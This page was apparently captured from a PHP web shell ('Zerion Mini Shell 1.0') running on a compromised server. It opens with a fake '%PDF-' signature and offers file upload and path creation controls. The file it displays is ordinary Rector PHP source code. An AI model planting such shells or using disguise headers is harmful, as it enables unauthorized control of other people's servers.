%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/code/vendor/rector/rector/src/PhpParser/Printer/
Upload File :
Create Path :
Current File : /home/vacivi36/code/vendor/rector/rector/src/PhpParser/Printer/NodesWithFileDestinationPrinter.php

<?php

declare (strict_types=1);
namespace Rector\Core\PhpParser\Printer;

use Rector\Core\Contract\PhpParser\NodePrinterInterface;
use Rector\FileSystemRector\Contract\FileWithNodesInterface;
use Rector\PostRector\Application\PostFileProcessor;
final class NodesWithFileDestinationPrinter
{
    /**
     * @readonly
     * @var \Rector\Core\Contract\PhpParser\NodePrinterInterface
     */
    private $nodePrinter;
    /**
     * @readonly
     * @var \Rector\PostRector\Application\PostFileProcessor
     */
    private $postFileProcessor;
    public function __construct(NodePrinterInterface $nodePrinter, PostFileProcessor $postFileProcessor)
    {
        $this->nodePrinter = $nodePrinter;
        $this->postFileProcessor = $postFileProcessor;
    }
    public function printNodesWithFileDestination(FileWithNodesInterface $fileWithNodes) : string
    {
        $nodes = $this->postFileProcessor->traverse($fileWithNodes->getNodes());
        return $this->nodePrinter->prettyPrintFile($nodes);
    }
}

Zerion Mini Shell 1.0